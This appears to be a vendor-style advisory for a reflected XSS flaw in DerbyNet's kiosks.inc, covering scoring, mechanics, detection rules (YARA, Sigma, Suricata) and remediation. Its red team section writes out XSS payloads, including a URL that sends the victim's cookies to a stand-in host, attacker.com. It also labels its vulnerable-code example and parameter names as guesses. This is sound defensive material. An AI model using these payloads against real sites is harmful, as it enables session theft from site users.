CVE-2024-30926
Executive Summary
CVE-2024-30926 is a Cross-Site Scripting (XSS) vulnerability identified in DerbyNet versions 9.0 and below. The flaw resides in the ./inc/kiosks.inc component, allowing an unauthenticated attacker to inject arbitrary web scripts or HTML. Successful exploitation can lead to session hijacking, credential theft, or defacement within the context of the victim's browser. No official patch has been released, and no public proof-of-concept (PoC) code is currently available. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and CWE-79 (Improper Neutralization of Input During Web Page Generation).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the DerbyNet application directly, which is a PHP-based web application. No supply chain component is involved.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, indicating insufficient data for scoring. However, based on the nature of the vulnerability (XSS), a reasonable estimate would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): Required (R) – victim must visit a crafted link
- Scope (S): Changed (C) – injected script can affect other resources
- Confidentiality (C): Low (L)
- Integrity (I): Low (L)
- Availability (A): None (N)
Estimated CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Estimated Base Score: 6.1 (Medium)
Threat Level: Medium. While exploitation requires user interaction, the lack of a patch and the potential for credential theft elevate the risk.
Deep Dive & Mechanics
The vulnerability exists in the ./inc/kiosks.inc component of DerbyNet. This component likely handles input from kiosk interfaces (e.g., race registration, results display). The flaw is due to improper sanitization of user-supplied data before it is rendered in a web page.
Attack Vector:
- An attacker crafts a malicious URL or form input containing JavaScript code.
- The attacker tricks a victim (e.g., a race official or participant) into clicking the link or submitting the form.
- The DerbyNet application processes the input and reflects it in the response without proper encoding.
- The victim's browser executes the injected script, which can:
- Steal session cookies (document.cookie)
- Redirect to a phishing page
- Perform actions on behalf of the victim (e.g., modify race results)
- Deface the kiosk display
Root Cause: The kiosks.inc file likely uses echo or print with user input without applying htmlspecialchars() or similar escaping functions.
Vulnerable vs. Patched Code
Since no patch is available, the following demonstrates the vulnerable pattern and a hypothetical fix.
Vulnerable Code (DerbyNet <= 9.0):
<?php
// inc/kiosks.inc
$name = $_GET['name'];
echo "Welcome, " . $name . "!";
?>
Patched Code (Hypothetical):
<?php
// inc/kiosks.inc
$name = htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
echo "Welcome, " . $name . "!";
?>
The patched version uses htmlspecialchars() to convert special characters to HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Environment:
- Target: DerbyNet v9.0 running on Apache/Nginx with PHP 7.x
- Attacker: Kali Linux with Burp Suite and a modern browser
Exploitation Steps:
- Identify the vulnerable parameter (e.g.,
name,message,kiosk_id) in the./inc/kiosks.inccomponent. - Craft a payload:
<script>alert('XSS')</script> - Inject via URL:
http://target/inc/kiosks.inc?name=<script>alert('XSS')</script> - If reflected, escalate to cookie theft:
http://target/inc/kiosks.inc?name=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
No public exploit code is available.
Blue Team (Defensive)
Detection Steps:
- Monitor web server logs for unusual parameters containing
<script>,onerror,javascript:. - Use WAF rules to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hunting Query (Splunk):
index=web_logs sourcetype=access_combined
| search uri_path="/inc/kiosks.inc" AND uri_query=*<script>*
| table _time, clientip, uri_query, status
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/inc/kiosks.incwith parameters containing<script>,onerror,javascript:. - Outbound connections to attacker-controlled domains from the DerbyNet server.
- HTTP requests to
- File IOCs:
- Modified
kiosks.incfile with injected PHP code (if server-side XSS leads to file inclusion).
- Modified
- Behavioral IOCs:
- Unexpected redirects or pop-ups on kiosk displays.
- Unauthorized changes to race data.
Detection Engineering
YARA Rule
rule CVE_2024_30926_XSS_DerbyNet {
meta:
description = "Detects XSS attempts targeting DerbyNet kiosks.inc"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-30926"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$vuln_path = "/inc/kiosks.inc"
condition:
$vuln_path and $xss_payload
}
Sigma Rule
title: XSS Attempt Against DerbyNet kiosks.inc
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects reflected XSS attempts in DerbyNet kiosks.inc
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-path: "/inc/kiosks.inc"
cs-uri-query|contains:
- "<script>"
- "onerror="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of script tags in admin interfaces (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-30926 XSS Attempt DerbyNet kiosks.inc"; flow:to_server,established; content:"/inc/kiosks.inc"; http_uri; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the kiosk feature if not in use: Remove or rename
./inc/kiosks.inc. - Apply input validation: Sanitize all user inputs in
kiosks.incusinghtmlspecialchars()or a similar function. - Implement WAF rules: Block requests containing
<script>,onerror,javascript:in URI parameters. - Upgrade: Monitor DerbyNet for an official patch. If none is released, consider migrating to an alternative solution.
Long-term Mitigations:
- Adopt a Content Security Policy (CSP) header:
Content-Security-Policy: default-src 'self'; script-src 'self'; - Use HTTP-only cookies to prevent JavaScript access.
- Conduct regular security audits of custom PHP code.
Valters IT
Securing digital frontiers, one CVE at a time.